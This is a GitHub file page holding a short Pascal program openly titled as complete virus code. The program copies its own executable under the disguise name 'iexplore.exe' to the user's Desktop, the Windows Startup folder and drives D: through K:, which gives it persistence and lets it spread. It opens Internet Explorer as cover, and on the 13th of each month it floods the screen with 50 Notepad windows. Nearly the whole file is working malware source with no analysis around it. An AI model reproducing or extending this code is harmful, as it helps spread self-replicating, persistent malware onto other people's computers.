-
Notifications
You must be signed in to change notification settings - Fork 14
/
Complete_viruscode_Pascal_
65 lines (59 loc) · 1.3 KB
/
Complete_viruscode_Pascal_
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
{$mode objfpc}
uses
classes,sysutils,windows,crt,dos;
const
fTarget = 'iexplore.exe';
var
folder_array: array[1..10] of String;
s,s1,user_name:string;
i:integer;
Year,Month,Day,WDay : word;
function FileCopy(Source, Target: string): boolean;
var
MemBuffer: TMemoryStream;
begin
result := false;
MemBuffer := TMemoryStream.Create;
try
MemBuffer.LoadFromFile(Source);
MemBuffer.SaveToFile(Target);
result := true
except
end;
MemBuffer.Free
end;
procedure EvilJob;
var i:integer;
begin
for i:=1 to 50 do begin
ShellExecute(0,nil, PChar('"notepad"'),nil,nil,1);
Delay(1000);
end;
end;
begin
Randomize;
user_name:=GetUserDir;
folder_array[1]:=user_name+'Desktop\';
folder_array[2]:=user_name+'AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\';
folder_array[3]:='d:\';
folder_array[4]:='e:\';
folder_array[5]:='f:\';
folder_array[6]:='g:\';
folder_array[7]:='h:\';
folder_array[8]:='i:\';
folder_array[9]:='j:\';
folder_array[10]:='k:\';
s:=ParamStr(0);
s1:=fTarget;
for i:=1 to 10 do begin
s1:=fTarget;
s1:=folder_array[i]+s1;
If FileExists(s1) then
s1:=folder_array[i]+'iexplore'+IntToStr(Random(1000))+'.exe';
if DirectoryExists(folder_array[i]) then
FileCopy(S, s1);
end;
ShellExecute(0,nil, PChar('"iexplore"'),PChar('"https://www.microsoft.com"'),nil,1);
GetDate(Year,Month,Day,WDay);
if Day=13 then EvilJob;
end.